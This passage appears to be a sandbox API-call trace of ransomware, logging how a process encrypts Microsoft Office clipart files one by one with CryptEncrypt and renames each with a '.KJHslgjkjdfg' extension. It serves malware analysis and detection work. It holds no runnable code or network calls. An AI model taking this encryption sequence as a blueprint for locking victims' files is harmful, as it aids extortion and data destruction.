[0244.069] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30f0, lpOverlapped=0x0) returned 1 [0244.070] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.070] SetEndOfFile (hFile=0x130) returned 1 [0244.073] GetProcessHeap () returned 0x2ef0000 [0244.073] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.073] GetProcessHeap () returned 0x2ef0000 [0244.073] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.kjhslgjkjdfg")) returned 1 [0244.075] CloseHandle (hObject=0x130) returned 1 [0244.075] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e7d7f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e7d7f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x17a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02413_.WMF", cAlternateFileName="")) returned 1 [0244.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.077] GetProcessHeap () returned 0x2ef0000 [0244.077] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.077] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.077] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.077] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.079] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.079] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.079] GetProcessHeap () returned 0x2ef0000 [0244.079] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.079] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.080] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.080] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.080] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.080] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.080] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17a1c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17a1c, lpOverlapped=0x0) returned 1 [0244.082] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17a20, dwBufLen=0x17a20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17a20) returned 1 [0244.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.083] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17a20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17a20, lpOverlapped=0x0) returned 1 [0244.083] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.083] SetEndOfFile (hFile=0x130) returned 1 [0244.086] GetProcessHeap () returned 0x2ef0000 [0244.086] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.087] GetProcessHeap () returned 0x2ef0000 [0244.087] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.kjhslgjkjdfg")) returned 1 [0244.088] CloseHandle (hObject=0x130) returned 1 [0244.088] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9503b100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9503b100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02431_.WMF", cAlternateFileName="")) returned 1 [0244.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.090] GetProcessHeap () returned 0x2ef0000 [0244.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.090] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.090] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.090] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.090] GetProcessHeap () returned 0x2ef0000 [0244.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.090] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.090] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.090] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.095] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.095] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.095] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.096] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.096] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x670, lpOverlapped=0x0) returned 1 [0244.096] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x670, dwBufLen=0x670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x670) returned 1 [0244.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.096] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x670, lpOverlapped=0x0) returned 1 [0244.096] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.096] SetEndOfFile (hFile=0x130) returned 1 [0244.099] GetProcessHeap () returned 0x2ef0000 [0244.099] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.099] GetProcessHeap () returned 0x2ef0000 [0244.099] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02431_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02431_.wmf.kjhslgjkjdfg")) returned 1 [0244.101] CloseHandle (hObject=0x130) returned 1 [0244.101] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x937fbc00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x937fbc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02437_.WMF", cAlternateFileName="")) returned 1 [0244.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.102] GetProcessHeap () returned 0x2ef0000 [0244.102] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.102] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.102] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0244.104] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.104] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.104] GetProcessHeap () returned 0x2ef0000 [0244.104] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.104] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.104] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.104] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.105] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.105] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.105] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.105] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.105] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.105] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.105] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b4, lpOverlapped=0x0) returned 1 [0244.105] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5c0) returned 1 [0244.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.105] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5c0, lpOverlapped=0x0) returned 1 [0244.105] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.105] SetEndOfFile (hFile=0x130) returned 1 [0244.108] GetProcessHeap () returned 0x2ef0000 [0244.108] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.108] GetProcessHeap () returned 0x2ef0000 [0244.108] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02437_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02437_.wmf.kjhslgjkjdfg")) returned 1 [0244.109] CloseHandle (hObject=0x130) returned 1 [0244.109] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8793fa00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8793fa00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02439_.WMF", cAlternateFileName="")) returned 1 [0244.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0244.111] GetProcessHeap () returned 0x2ef0000 [0244.111] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0244.111] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0244.111] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0244.111] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0244.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.113] GetProcessHeap () returned 0x2ef0000 [0244.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0244.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0244.113] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0244.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0244.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0244.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0244.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0244.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0244.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0244.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0244.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.113] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x504, lpOverlapped=0x0) returned 1 [0244.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x510, dwBufLen=0x510 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x510) returned 1 [0244.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.114] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x510, lpOverlapped=0x0) returned 1 [0244.114] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0244.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.114] SetEndOfFile (hFile=0x130) returned 1 [0244.116] GetProcessHeap () returned 0x2ef0000 [0244.116] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0244.116] GetProcessHeap () returned 0x2ef0000 [0244.116] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0244.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.kjhslgjkjdfg")) 